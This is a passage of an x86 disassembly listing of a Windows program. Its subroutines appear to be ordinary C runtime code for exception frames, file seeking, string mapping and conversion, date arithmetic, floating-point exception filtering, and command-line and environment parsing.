		jz	short loc_41DFB2
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41DFB2
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_418DC2
		or	[ebp+var_4], 0FFFFFFFFh


loc_41DFB2:				; CODE XREF: sub_41DF6B+2Aj
					; sub_41DF6B+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DF6B	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41E04C

; =============== S U B	R O U T	I N E =======================================



sub_41DFD2	proc near		; CODE XREF: sub_41DDA7+8Fp
					; sub_41DDA7+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41DFF3
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41DFF3:				; CODE XREF: sub_41DFD2+12j
		pop	esi
		retn
sub_41DFD2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E000	proc near		; CODE XREF: sub_418E55+40p
					; sub_41DB42+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_419141
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41E03F
		mov	ecx, 2


loc_41E03F:				; CODE XREF: sub_41E000+38j
		push	ecx
		call	sub_419141
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41E000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E04C	proc near		; CODE XREF: sub_41D896:loc_41DA38j
					; sub_41DBE0:loc_41DBF1j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004202A0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238D0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4D877C
		test	eax, eax
		jz	short loc_41E094
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41E090
; ---------------------------------------------------------------------------


loc_41E089:				; DATA XREF: .nsp0:004238E0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E08D:				; DATA XREF: .nsp0:004238E4o
		mov	esp, [ebp+var_18]


loc_41E090:				; CODE XREF: sub_41E04C+3Bj
		and	[ebp+var_4], 0


loc_41E094:				; CODE XREF: sub_41E04C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41E09D:				; DATA XREF: .nsp0:004238D8o
		jmp	loc_4202A0
sub_41E04C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0A2	proc near		; CODE XREF: sub_418FF7+23p
					; sub_418FF7:loc_419062p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238E8
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B154
		test	eax, eax
		jz	short loc_41E0EA
		mov	[ebp+var_4], 1
		call	eax ; sub_41E04C
		jmp	short loc_41E0E6
; ---------------------------------------------------------------------------


loc_41E0DF:				; DATA XREF: .nsp0:004238F8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E0E3:				; DATA XREF: .nsp0:004238FCo
		mov	esp, [ebp+var_18]


loc_41E0E6:				; CODE XREF: sub_41E0A2+3Bj
		and	[ebp+var_4], 0


loc_41E0EA:				; CODE XREF: sub_41E0A2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41E0F3:				; DATA XREF: .nsp0:004238F0o
		jmp	sub_41E04C
sub_41E0A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0F8	proc near		; CODE XREF: sub_4194D3+7p
					; sub_4194D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41A027
		test	eax, eax
		pop	ecx
		jz	short loc_41E110
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41E110:				; CODE XREF: sub_41E0F8+Ej
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423058	; RtlSizeHeap
		pop	esi
		retn
sub_41E0F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E121	proc near		; CODE XREF: sub_419581+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41E1DD
		cmp	ebx, 8Ah
		jg	loc_41E1DD
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43B61C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41E160
		cmp	edi, 2
		jle	short loc_41E160
		inc	esi


loc_41E160:				; CODE XREF: sub_41E121+37j
					; sub_41E121+3Cj
		call	sub_4202B7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43B538
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41E1D3
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41E1D9
		cmp	dword_43B53C, 0
		jz	short loc_41E1D9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42052A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41E1D9


loc_41E1D3:				; CODE XREF: sub_41E121+90j
		add	ecx, dword_43B540


loc_41E1D9:				; CODE XREF: sub_41E121+96j
					; sub_41E121+9Fj ...
		mov	eax, ecx
		jmp	short loc_41E1E0
; ---------------------------------------------------------------------------


loc_41E1DD:				; CODE XREF: sub_41E121+13j
					; sub_41E121+1Fj
		or	eax, 0FFFFFFFFh


loc_41E1E0:				; CODE XREF: sub_41E121+BAj
		pop	ebx
		leave
		retn
sub_41E121	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1E3	proc near		; CODE XREF: sub_4196EC+67p
					; sub_41AC01+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4D9B20
		push	esi
		push	edi
		jnb	short loc_41E265
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E265
		push	eax
		call	sub_41F1D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E227
		mov	dword_4D86D0, 9
		jmp	short loc_41E276
; ---------------------------------------------------------------------------


loc_41E227:				; CODE XREF: sub_41E1E3+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_42311C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E247
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E247:				; CODE XREF: sub_41E1E3+5Aj
		xor	eax, eax


loc_41E249:				; CODE XREF: sub_41E1E3+62j
		test	eax, eax
		jz	short loc_41E256
		push	eax
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_41E276
; ---------------------------------------------------------------------------


loc_41E256:				; CODE XREF: sub_41E1E3+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E279
; ---------------------------------------------------------------------------


loc_41E265:				; CODE XREF: sub_41E1E3+Dj
					; sub_41E1E3+2Aj
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41E276:				; CODE XREF: sub_41E1E3+42j
					; sub_41E1E3+71j
		or	eax, 0FFFFFFFFh


loc_41E279:				; CODE XREF: sub_41E1E3+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E1E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E27D	proc near		; CODE XREF: sub_4196EC+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E299
		mov	[edi+4], ebx


loc_41E299:				; CODE XREF: sub_41E27D+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E307
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E2BE
		sub	eax, [edi+4]
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E2BE:				; CODE XREF: sub_41E27D+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E2F8
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4D9A20[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E30F
		mov	edx, ecx


loc_41E2E9:				; CODE XREF: sub_41E27D+79j
		cmp	edx, eax
		jnb	short loc_41E30F
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E2F5
		inc	[ebp+var_8]


loc_41E2F5:				; CODE XREF: sub_41E27D+73j
		inc	edx
		jmp	short loc_41E2E9
; ---------------------------------------------------------------------------


loc_41E2F8:				; CODE XREF: sub_41E27D+50j
		test	dl, 80h
		jnz	short loc_41E30F
		mov	dword_4D86D0, 16h


loc_41E307:				; CODE XREF: sub_41E27D+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E30F:				; CODE XREF: sub_41E27D+68j
					; sub_41E27D+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E31D
		mov	eax, [ebp+var_8]
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E31D:				; CODE XREF: sub_41E27D+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E3C8
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E336
		and	[ebp+var_8], edx
		jmp	loc_41E3C8
; ---------------------------------------------------------------------------


loc_41E336:				; CODE XREF: sub_41E27D+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E3C2
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E389
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E374:				; CODE XREF: sub_41E27D+104j
		cmp	eax, ecx
		jnb	short loc_41E383
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E380
		inc	[ebp+arg_0]


loc_41E380:				; CODE XREF: sub_41E27D+FEj
		inc	eax
		jmp	short loc_41E374
; ---------------------------------------------------------------------------


loc_41E383:				; CODE XREF: sub_41E27D+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E389:				; CODE XREF: sub_41E27D+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E1E3
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E3B0
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E3B0
		test	ch, 4
		jz	short loc_41E3B3


loc_41E3B0:				; CODE XREF: sub_41E27D+124j
					; sub_41E27D+12Cj
		mov	eax, [edi+18h]


loc_41E3B3:				; CODE XREF: sub_41E27D+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E3BD:				; CODE XREF: sub_41E27D+10Aj
		jz	short loc_41E3C2
		inc	[ebp+arg_0]


loc_41E3C2:				; CODE XREF: sub_41E27D+D9j
					; sub_41E27D:loc_41E3BDj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E3C8:				; CODE XREF: sub_41E27D+A4j
					; sub_41E27D+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E3D0:				; CODE XREF: sub_41E27D+3Cj
					; sub_41E27D+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E27D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D5	proc near		; CODE XREF: sub_419A9C+A3p
					; sub_41BBCD+BEp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423908
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4D87A0, edi
		jnz	short loc_41E44B
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_423900
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jz	short loc_41E429
		mov	dword_4D87A0, ebx
		jmp	short loc_41E44B
; ---------------------------------------------------------------------------


loc_41E429:				; CODE XREF: sub_41E3D5+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4C96CC
		push	esi
		push	edi
		call	dword_423054	; LCMapStringA
		test	eax, eax
		jz	loc_41E563
		mov	dword_4D87A0, 2


loc_41E44B:				; CODE XREF: sub_41E3D5+2Ej
					; sub_41E3D5+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E460
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E460:				; CODE XREF: sub_41E3D5+79j
		mov	eax, dword_4D87A0
		cmp	eax, 2
		jnz	short loc_41E487
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423054	; LCMapStringA
		jmp	loc_41E565
; ---------------------------------------------------------------------------


loc_41E487:				; CODE XREF: sub_41E3D5+93j
		cmp	eax, 1
		jnz	loc_41E563
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E49D
		mov	eax, dword_4D8798
		mov	[ebp+arg_18], eax


loc_41E49D:				; CODE XREF: sub_41E3D5+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E563
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E4F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E4F8:				; CODE XREF: sub_41E3D5+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E563
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41E563
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E563
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E577
		cmp	[ebp+arg_14], edi
		jz	loc_41E5F2
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E563
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jnz	loc_41E5F2


loc_41E563:				; CODE XREF: sub_41E3D5+66j
					; sub_41E3D5+B5j ...
		xor	eax, eax


loc_41E565:				; CODE XREF: sub_41E3D5+ADj
					; sub_41E3D5+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E3D5+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E5AB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E5AB:				; CODE XREF: sub_41E3D5+1C2j
		cmp	ebx, edi
		jz	short loc_41E563
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jz	short loc_41E563
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E5D2
		push	edi
		push	edi
		jmp	short loc_41E5D8
; ---------------------------------------------------------------------------


loc_41E5D2:				; CODE XREF: sub_41E3D5+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E5D8:				; CODE XREF: sub_41E3D5+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_423160	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E563


loc_41E5F2:				; CODE XREF: sub_41E3D5+165j
					; sub_41E3D5+188j
		mov	eax, esi
		jmp	loc_41E565
sub_41E3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E5F9	proc near		; CODE XREF: sub_41E3D5+81p
					; sub_4219AF+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41E616


loc_41E609:				; CODE XREF: sub_41E5F9+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41E616
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41E609


loc_41E616:				; CODE XREF: sub_41E5F9+Ej
					; sub_41E5F9+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41E621
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41E621:				; CODE XREF: sub_41E5F9+21j
		mov	eax, edx
		retn
sub_41E5F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E624	proc near		; CODE XREF: sub_419C83+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E765
		test	eax, eax
		pop	ecx
		jz	loc_41E759
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41E759
		cmp	ebx, 5
		jnz	short loc_41E655
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41E762
; ---------------------------------------------------------------------------


loc_41E655:				; CODE XREF: sub_41E624+23j
		cmp	ebx, 1
		jz	loc_41E754
		mov	ecx, dword_4D87A4
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D87A4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41E744
		mov	ecx, dword_43B1D0
		mov	edx, dword_43B1D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41E6A4
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43B160h[esi*4]


loc_41E69B:				; CODE XREF: sub_41E624+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41E69B


loc_41E6A4:				; CODE XREF: sub_41E624+69j
		mov	eax, [eax]
		mov	esi, dword_43B1DC
		cmp	eax, 0C000008Eh
		jnz	short loc_41E6BF
		mov	dword_43B1DC, 83h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6BF:				; CODE XREF: sub_41E624+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41E6D2
		mov	dword_43B1DC, 81h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6D2:				; CODE XREF: sub_41E624+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41E6E5
		mov	dword_43B1DC, 84h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6E5:				; CODE XREF: sub_41E624+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41E6F8
		mov	dword_43B1DC, 85h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6F8:				; CODE XREF: sub_41E624+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41E70B
		mov	dword_43B1DC, 82h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E70B:				; CODE XREF: sub_41E624+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41E71E
		mov	dword_43B1DC, 86h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E71E:				; CODE XREF: sub_41E624+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41E72F
		mov	dword_43B1DC, 8Ah


loc_41E72F:				; CODE XREF: sub_41E624+99j
					; sub_41E624+ACj ...
		push	dword_43B1DC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43B1DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41E74C
; ---------------------------------------------------------------------------


loc_41E744:				; CODE XREF: sub_41E624+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41E74C:				; CODE XREF: sub_41E624+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4D87A4, eax


loc_41E754:				; CODE XREF: sub_41E624+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E762
; ---------------------------------------------------------------------------


loc_41E759:				; CODE XREF: sub_41E624+Fj
					; sub_41E624+1Aj
		push	[ebp+arg_4]
		call	dword_42304C	; UnhandledExceptionFilter


loc_41E762:				; CODE XREF: sub_41E624+2Cj
					; sub_41E624+133j
		pop	ebx
		pop	ebp
		retn
sub_41E624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E765	proc near		; CODE XREF: sub_41E624+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B1D8
		cmp	dword_43B158, edx
		push	esi
		mov	eax, offset dword_43B158
		jz	short loc_41E792
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B158h[esi*4]


loc_41E787:				; CODE XREF: sub_41E765+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41E792
		cmp	[eax], edx
		jnz	short loc_41E787


loc_41E792:				; CODE XREF: sub_41E765+16j
					; sub_41E765+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B158h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41E7A5
		cmp	[eax], edx
		jz	short locret_41E7A7


loc_41E7A5:				; CODE XREF: sub_41E765+3Aj
		xor	eax, eax

locret_41E7A7:				; CODE XREF: sub_41E765+3Ej
		retn
sub_41E765	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7A8	proc near		; CODE XREF: sub_419C83+A5p
		cmp	dword_4D9D6C, 0
		jnz	short loc_41E7B6
		call	sub_41BD52


loc_41E7B6:				; CODE XREF: sub_41E7A8+7j
		push	esi
		mov	esi, dword_4D9D64
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41E7E8


loc_41E7C3:				; CODE XREF: sub_41E7A8+33j
					; sub_41E7A8+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41E7E0
		test	al, al
		jz	short loc_41E7E0
		movzx	eax, al
		push	eax
		call	sub_420816
		test	eax, eax
		pop	ecx
		jz	short loc_41E7C3
		inc	esi
		jmp	short loc_41E7C3
; ---------------------------------------------------------------------------


loc_41E7E0:				; CODE XREF: sub_41E7A8+21j
					; sub_41E7A8+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41E7F2


loc_41E7E5:				; CODE XREF: sub_41E7A8+52j
		inc	esi
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7E8:				; CODE XREF: sub_41E7A8+19j
		cmp	al, 20h
		jbe	short loc_41E7F2


loc_41E7EC:				; CODE XREF: sub_41E7A8+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41E7EC


loc_41E7F2:				; CODE XREF: sub_41E7A8+3Bj
					; sub_41E7A8+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41E7FC
		cmp	al, 20h
		jbe	short loc_41E7E5


loc_41E7FC:				; CODE XREF: sub_41E7A8+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41E7A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E800	proc near		; CODE XREF: sub_419C83+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D9D6C, ebx
		push	esi
		push	edi
		jnz	short loc_41E812
		call	sub_41BD52


loc_41E812:				; CODE XREF: sub_41E800+Bj
		mov	esi, dword_4D8740
		xor	edi, edi


loc_41E81A:				; CODE XREF: sub_41E800+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41E832
		cmp	al, 3Dh
		jz	short loc_41E825
		inc	edi


loc_41E825:				; CODE XREF: sub_41E800+22j
		push	esi
		call	sub_4176F0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41E81A
